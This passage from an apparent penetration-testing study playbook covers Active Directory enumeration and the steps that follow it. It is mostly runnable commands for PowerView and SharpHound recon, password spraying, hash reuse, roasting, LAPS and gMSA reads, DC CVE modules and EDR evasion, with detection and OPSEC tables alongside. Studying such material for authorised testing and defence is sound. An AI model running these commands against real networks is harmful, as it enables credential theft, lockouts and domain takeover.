For share inventory at scale (rather than content), PowerHuntShares auto-discovers shares across the domain and scores them by risk — a good middle ground between raw --shares and a full Snaffler run:

Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -NoPing -OutputDirectory .\shares -Threads 20

🧭 AD Methodology & Host-Based Enumeration (the engagement arc)

Everything in this stage is one iterative loop, not a linear checklist. The module’s own arc: passive external recon → active internal discovery → get one identity → credentialed enumeration → attack → and every new credential drops me back into enumeration with a bigger authenticated view. 4.1–4.5 are the tools; this is the order I actually think in, and what to run once I’m not on the wire anymore but standing on a Windows host. Deep dives: 1 - Introduction, Methodology & External Recon · 2 - Initial Enumeration of the Domain.

[!note] The whole point of enumeration I don’t enumerate to fill a report — I enumerate to answer one question: what does my current level of access unlock that my last level didn’t? Log the answer (host, cred, edge, timestamp) the moment I find it, because that log is the attack path and the report evidence.

The credential-state ladder — “where am I, what mints the next cred?”

Four states. Each one has a different toolset and a different way to climb. I always know which rung I’m on:

RungI have…Enumerate withWhat mints the next cred
0 · No creds on the wirea network position only4.1 null/guest SMB+LDAP, --rid-brute, Kerbrute userenum, anon LDAP namingContextsResponder/LLMNR poison → NetNTLMv2 → crack (Stage LLMNR); pre2k; or a spray hit
1 · Cracked/sprayed low-priv userone valid $U:$P4.2 validate everywhere → 4.3 vacuum SMB+LDAP → 4.5 BloodHoundspray that pw across the userlist; roast; read description/info; ACL edge
2 · Credentialed + graphedvalidated cred + BloodHound graphthe spray→enum loop below; 4.4 LDAP tooling; LAPS/gMSA readsan owned edge (Stage 6), a roast crack (Stage 5), a share cred (Stage 8)
3 · SYSTEM on a domain-joined hosta shell as NT AUTHORITY\SYSTEMhost-based / living-off-the-land recon (below)the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data

[!tip] SYSTEM on a member server ≈ a domain user Once I hit NT AUTHORITY\SYSTEM on any domain-joined box (Stage 9 privesc got me there), the host’s machine account can query the directory exactly like a user cred — so I run every host-based query below without needing a user’s password. Grab it: nxc smb $IP -u "$U" -p "$P" showing Pwn3d!, or a SeImpersonate → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → mssql$sqlexpress → SYSTEM → local SAM/LSA → first domain cred hporter (6 - Post-Exploitation Persistence & Internal Enumeration).

Host-based recon — living off the land (from a Windows foothold)

What to look for: the domain, its groups, trusts, SPNs, delegation and where my token is already local admin — using only binaries already on the box. This is the fallback baseline when the host is a locked-down managed workstation/VDI: no internet, file transfer blocked, AppLocker + Defender in blocking mode. Native tooling introduces zero new attack surface and is rarely flagged. Full walk: 9 - Living Off the Land.

Enumerate — situational awareness first (run on every fresh shell, Win or Nix):

whoami /all                         # my SID, groups, privileges (SeImpersonate? SeBackup?)
Get-ChildItem Env: | ft key,value
Get-ExecutionPolicy -List
netsh advfirewall show allprofiles
Get-MpComputerStatus                # is Defender real-time on / blocking?
qwinsta                             # other interactive sessions = creds to steal
arp -a ; route print                # what other subnets does this host see? (pivot candidates)

Enumerate — net.exe / dsquery / CIM (always present, no module drop):

net accounts /domain                                     :: password + lockout policy (spray safely)
net group /domain                                        :: all domain groups
net group "Domain Admins" /domain                        :: DA membership
net localgroup administrators                            :: local admins on THIS box
net user /domain <user>                                  :: full attrs for one user
net view /domain  &  net group "Domain Computers" /domain

:: dsquery = raw LDAP filters with zero external tooling (RSAT / DC only)
dsquery user  &  dsquery computer
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"   :: enabled users only
dsquery * "CN=Users,DC=<dom>,DC=<tld>" -scope subtree
setspn.exe -T $DOMAIN -Q */*                             :: native SPN discovery → hand off to Stage 5 roast
# wmic is deprecated (gone in Win11 24H2+/recent Server) — use CIM
Get-CimInstance -ClassName Win32_QuickFixEngineering     # installed patches → missing-KB triage
Get-CimInstance -ClassName Win32_UserAccount

Enumerate — native AD PowerShell module (RSAT, no binary dropped):

Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName   # kerberoastable, no PowerView
Get-ADTrust -Filter *                                    # trusts to other domains/forests
Get-ADGroupMember -Identity "Backup Operators"           # dangerous groups

Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):

[!tools] Stage this — PowerView + SharpView PowerView.ps1 (SHA-256 · GPG signature) SharpView.exe (SHA-256 · GPG signature) Sources: PowerSploit PowerView (Recon/PowerView.ps1) and SharpView — a C# port of PowerView with the same cmdlet names/args. When AMSI/Defender signatures block the .ps1 import, the .exe variant (or execute-assembly in-memory) usually still lands.

Import-Module .\PowerView.ps1
Get-Domain ; Get-DomainController ; Get-DomainPolicy
Get-DomainUser -Identity $U -Domain $DOMAIN | select samaccountname,memberof,description,info
Get-DomainUser -Properties samaccountname,description,info | ? {$_.description -or $_.info}   # creds hide here
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname       # kerberoastable
Get-DomainUser -PreauthNotRequired                                        # AS-REP roastable
Get-DomainComputer -Unconstrained ; Get-DomainUser -TrustedToAuth         # delegation
Get-DomainTrustMapping                                                    # walk EVERY reachable trust (cross-forest)
Find-DomainShare -CheckShareAccess                                        # shares my token can read
Find-LocalAdminAccess ; Test-AdminAccess -ComputerName <host>             # where am I already local admin (quiet)
# SharpView = the .NET port when AMSI/Defender is tuned to PowerView's PS signatures:
.\SharpView.exe Get-DomainUser -Identity $U

PowerView one-liner reference — the dozen that answer 90% of questions:

QuestionOne-liner
Where am I?Get-Domain ; Get-DomainController
Password/lockout policyGet-DomainPolicy | select -ExpandProperty SystemAccess
Kerberoastable usersGet-DomainUser -SPN
AS-REP roastable usersGet-DomainUser -PreauthNotRequired
Creds in description/infoGet-DomainUser -Properties description,info | ? {$_.description -or $_.info}
DA membership (nested)Get-DomainGroupMember "Domain Admins" -Recurse
Unconstrained delegationGet-DomainComputer -Unconstrained
Constrained delegationGet-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth
Where is <user> logged on?Find-DomainUserLocation -UserName <user>
Where am I local admin?Find-LocalAdminAccess
Readable sharesFind-DomainShare -CheckShareAccess
All trusts, walkedGet-DomainTrustMapping
ACLs on a target objectGet-DomainObjectAcl -Identity <target> -ResolveGUIDs
GPOs touching a host/OUGet-DomainGPO -ComputerIdentity <host>

[!warning] Watch out

  • net.exe recon, PowerView.ps1 and Snaffler.exe are all signatured — EDR flags them specifically because of their recon history. On a Defender-blocking host: use dsquery / native net / the AD module for the same data, and prefer execute-assembly (in-memory) over dropping SharpView.exe/SharpHound.exe. See 9 - Living Off the Land.
  • PowerView’s description / info hunt is the same gold as the LDAP one in 4.4 — plaintext passwords live in those attributes constantly. Always pull both.
  • GPP cpassword in SYSVOL (findstr /S /I cpassword \\$DOMAIN\SYSVOL\*.xml) is host-readable by any domain user — but the decrypt + full method lives in Stage 8, don’t re-run it here.

SharpHound from the host — collection-method picker

4.5 already has the base .\SharpHound.exe -c All / -c DCOnly / -c Session --Loop invocations and the CE-vs-legacy trap. What matters on a host is which methods to run and how loud each is — pick per objective, don’t reflexively -c All:

ObjectiveCollection methodNoise
Fast, LDAP-only first pass-c DCOnlyquiet — no host touches
Full graph incl. local admin + sessions-c Allloud — SMB to every computer
Just who’s admin where-c LocalAdmin,RDP,DCOM,PSRemotemedium
Session hunting for a priv account-c Session --Loop --Loopduration 02:00:00medium, over time
ACLs / group / trusts only-c ACL,Group,Trusts,ObjectProps,Containerquiet-ish
# scope + stealth knobs worth knowing (base command + CE/legacy notes are in 4.5)
.\SharpHound.exe -c DCOnly --stealth --zipfilename dconly           # least-touch recon pass
.\SharpHound.exe -c All --ldapfilter "(samaccountname=svc*)"        # narrow the LDAP query
.\SharpHound.exe -c All --excludedcs                                # skip DC enumeration if it's tripping alarms

[!note] The rung-3 payoff for SharpHound Run -c Session/-c All after I’m SYSTEM/local-admin somewhere — that’s when session and local-group edges actually populate, and those are the edges BloodHound turns into lateral movement. A DCOnly graph collected at rung 1 has no session data. Collector cheat: SharpHound_Cheatsheet.

The credentialed spray → enumerate loop

What to look for: password reuse. One working cred is a seed, not an endpoint — I spray it (or one seasonal password) across the whole validated userlist, and every fresh hit is a new context to re-enumerate (new group memberships, new readable shares, new ACL edges, maybe a ReadLAPS/ReadGMSA right). 4.3 has the base nxc spray line; the loop discipline and the safety math are the net-new here. Full method: 5 - Password Spraying & Password Policies.

Enumerate — prune the target list before spraying:

# badPwdCount tells me who's already near lockout — exclude them or I do the client's DoS for them
nxc smb $DC -u "$U" -p "$P" --users            # shows badPwdCount per user
# pull the policy FIRST (unauth or cred'd) — lockout threshold + observation window set my rate
nxc smb $DC -u "$U" -p "$P" --pass-pol

Attack — spray, then loop:

# 1) spray one password across the pruned list (respect the policy, --continue-on-success, jitter)
nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 | grep '[+]'

# 2) local-admin password/hash REUSE across the subnet — --local-auth is MANDATORY
#    (a domain logon here would lock the real domain Administrator; --local-auth hits the SAM account)
nxc smb $IP/23 -u administrator -H "$HASH" --local-auth | grep 'Pwn3d!'

# 3) for each NEW hit -> jump straight back to 4.2/4.3/4.5 as that user:
#    nxc smb/ldap/winrm validate  ->  vacuum users/groups/shares  ->  BloodHound mark-owned -> re-path to DA
# From a Windows foothold: DomainPasswordSpray is domain-aware — auto-builds the userlist from AD,
# reads the REAL lockout policy, and drops any account within one attempt of locking.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits -ErrorAction SilentlyContinue

[!warning] Watch out — spraying is where engagements go wrong userenum never locks; spraying does. Pull --pass-pol first, stay a comfortable margin under the lockout threshold per observation window, and log every account/password/DC/timestamp. On a lockout threshold of 5 / 30-min window: one attempt per account per ~40 min with a safety buffer, never a tight loop. --local-auth is non-negotiable for local-admin reuse — forget it and you lock the domain Administrator domain-wide.

Attacking Enterprise Networks — the full engagement arc (capstone recap)

The capstone stitches all 27 modules into one continuous network, and it’s the mental map for how this whole playbook fits together. A phase is a question, not a tool — intel gathering asks what exists, vuln analysis asks which weakness is plausible, exploitation asks can I prove it with minimal impact, post-ex asks what does that access reach. The arc, mapped to this guide’s stages:

External OSINT ─► Web/Service foothold ─► Pivot into internal ─► Internal + AD enum ─► Lateral/AD compromise ─► Pillage ─► Report
  (Stage 1-2)          (Stage 2-3)          (Stage 10)            (THIS Stage 4)         (Stage 5-7,9)         (Stage 8)   (evidence)
PTES phasePractical questionThis guide
Intelligence gatheringwhat assets/identities exist?Stage 1 recon, 4.1 unauth enum
Vulnerability analysiswhich condition yields access?4.3–4.5 credentialed enum + BloodHound
Exploitationprove one boundary crossingStages 5–7 (Kerberos, ACL, ADCS), 9 privesc
Post-exploitationwhat does this reach?host-based recon (above), Stage 10 lateral/pivot
Reportingwhy did the chain work, how to fixevidence log, findings-vs-chain

[!tip] The Rolodex mindset Real engagements force constant switching — web → network → AD → privesc → pillage → pivot → back to enum. When stuck, I don’t tool-spam: I return to scope → what I can see → what I can’t see → next lowest-noise action. A single finding is one failed control; an attack path chains findings across time (exposed app → RCE → dual-homed host → domain cred → ACL abuse → replication rights) and that chain is what carries the business-impact severity. Track creds/hosts/edges in one place (BloodHound graph + a notes table). Capstone driver’s-seat method: 1 - Intro to Attacking Enterprise Networks · toolkit index AD_Pentest_Tools_Cheat_Sheet · share-loot automation Snaffler.


🔎 Raw LDAP Query Cookbook (filters that find the win)

BloodHound is the map, but a raw LDAP filter finds a specific win in one query — and works when you can’t run a collector. The key is the bitwise matching-rule OID on userAccountControl. Deep dives: Active Directory LDAP - Cheatsheet · LDAP Search.

Matching-rule OIDs

1.2.840.113556.1.4.803   BIT_AND    single-flag test (bitwise AND)   ← the one you use
1.2.840.113556.1.4.804   BIT_OR     any-flag test
1.2.840.113556.1.4.1941  IN_CHAIN   walk nested group ancestry

UAC flag values (plug into ...803:=<value>): PASSWD_NOTREQD 32 · TRUSTED_FOR_DELEGATION 524288 (unconstrained) · DONT_EXPIRE_PASSWORD 65536 · DONT_REQ_PREAUTH 4194304 (AS-REP-roastable) · DCs 8192.

The high-value filters (-b = base DN DC=domain,DC=htb)

B="dc=${DOMAIN%%.*},dc=${DOMAIN#*.}"
# AS-REP roastable (no preauth)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName
# Kerberoastable (has SPN, not a machine)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(&(servicePrincipalName=*)(!(objectClass=computer)))' sAMAccountName servicePrincipalName
# Unconstrained delegation  |  Constrained (has AllowedToDelegateTo)
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo
# Password-not-required  |  adminCount=1 (protected/priv)  |  passwords hidden in description
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=32)' sAMAccountName
ldapsearch ... '(adminCount=1)' sAMAccountName
ldapsearch ... '(&(objectCategory=user)(description=*))' sAMAccountName description
# MachineAccountQuota (can I add a computer for RBCD?)  |  nested membership of a DN
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" -s base ms-DS-MachineAccountQuota
ldapsearch ... '(member:1.2.840.113556.1.4.1941:=<userDN>)' sAMAccountName

Same results via the modern all-rounders

nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation --password-not-required
windapsearch.py --dc-ip $IP -d "$DOMAIN" -u "$DOMAIN\\$U" -p "$P" --da --unconstrained-users
ldapsearch-ad.py -l $IP -d "$DOMAIN" -u "$U" -p "$P" -t kerberoast   # also -t asreproast / pass-pols / info

[!tip] Escaping in filters: *\2a (\28 )\29 \\5c. On a Windows foothold the PowerShell equivalent is Get-ADObject -LDAPFilter '(...)' (same OID syntax) or Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}. From a non-domain Linux box you can still drive PowerShell tooling with runas /netonly.

[!note] Trusts found? Different stage A (objectClass=trustedDomain) hit or Get-ADTrust -Filter * result means the enumeration surface just doubled — but cross-forest attacks (SID filtering, trust tickets, raiseChild.py) are their own discipline: 14 - Domain Trusts and Cross-Forest. Here I only record the trust (direction, type, transitivity) and keep enumerating the local domain.


✅ Stage-04 quick-wins checklist (run in order, every new identity)

#CheckCommandIf it hits
1Anon LDAP / null SMBnxc smb $IP -u '' -p '' --users --sharesfree user list / share loot
2RID brutenxc smb $IP -u '' -p '' --rid-brutefull user list
3AS-REP roast (no creds)GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IPcrack → Stage 05
4pre2k machine accountsnxc ldap $DC -u '' -p '' -M pre2kfree machine cred
5Password policynxc smb $IP -u "$U" -p "$P" --pass-polsets spray math
6Descriptions/info fieldsnxc ldap $DC -u "$U" -p "$P" -M get-desc-usersfree creds
7Kerberoast sweepnxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txtcrack → Stage 05
8LAPS readnxc ldap $DC -u "$U" -p "$P" -M lapslocal admin
9gMSA readpython3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DCservice NT hash
10Shares + content--shares-M spider_plus → Snafflercred files → Stage 08
11BloodHound collectbloodhound-ce-python -c All --zipthe path map
12DC one-shot CVEsnxc smb $DC -M zerologon / -M nopacinstant DA

[!tip] CPTS reality check On exam boxes the intended path is almost always visible after items 1–11 — the box author planted one of: a description-field password, a roastable account, a share with creds, a LAPS/gMSA read, or a single ACL edge. If none of the 12 hit, the missing piece is almost always a cred I already have but haven’t re-enumerated as (go back to the doctrine in 4.2).


🛡️ OPSEC & detection — what the blue team sees

[!danger] Enumeration is the loudest phase — assume every query is logged

Signal I generateDetection / Event IDMitigation
Mass LDAP queries (PowerView -SPN, full dumps)Event 1644 (expensive/inefficient LDAP query logging, when enabled); ATA/MDI “reconnaissance” alertsQuery surgically; one filter per question; avoid (objectClass=*) full dumps; throttle
kerbrute userenumBurst of 4768 AS-REQs (success+failure) from one sourceSmall curated lists, low threads, jitter
Password spray4771 failures clustered in the observation window; 4625 via NTLM pathStay under threshold; --jitter; log my own attempts
SharpHound -c AllSMB/RPC fan-out to every host; session-enum signatures; EDR flags collector binary by hash/nameDCOnly first; rename binary; execute-assembly; --stealth
SnafflerMassive SMB file-read volume; honey-share touchesScope -i; verify shares aren’t bait
Honeypot accountsA too-perfect svc_backup with a weak password + adminCount=1 that never logs on = tripwire; any auth attempt alertsCross-check lastLogon/pwdLastSet before using “free” creds; a roastable account with an ancient password and no logons is bait until proven otherwise

Rules of thumb: enumerate with the least privilege and fewest protocols that answer the question; prefer one good LDAP filter over ten scans; and keep my own timestamps — if the client calls about an alert, I want to answer “yes, that was me, 14:03–14:11 UTC” in one breath.


[!navigation] Continue the attack flow Previous: Stage 03 — Service Enumeration

Dashboard: HTB Pentest Attack Flow

Next: Stage 05 — Kerberos Attacks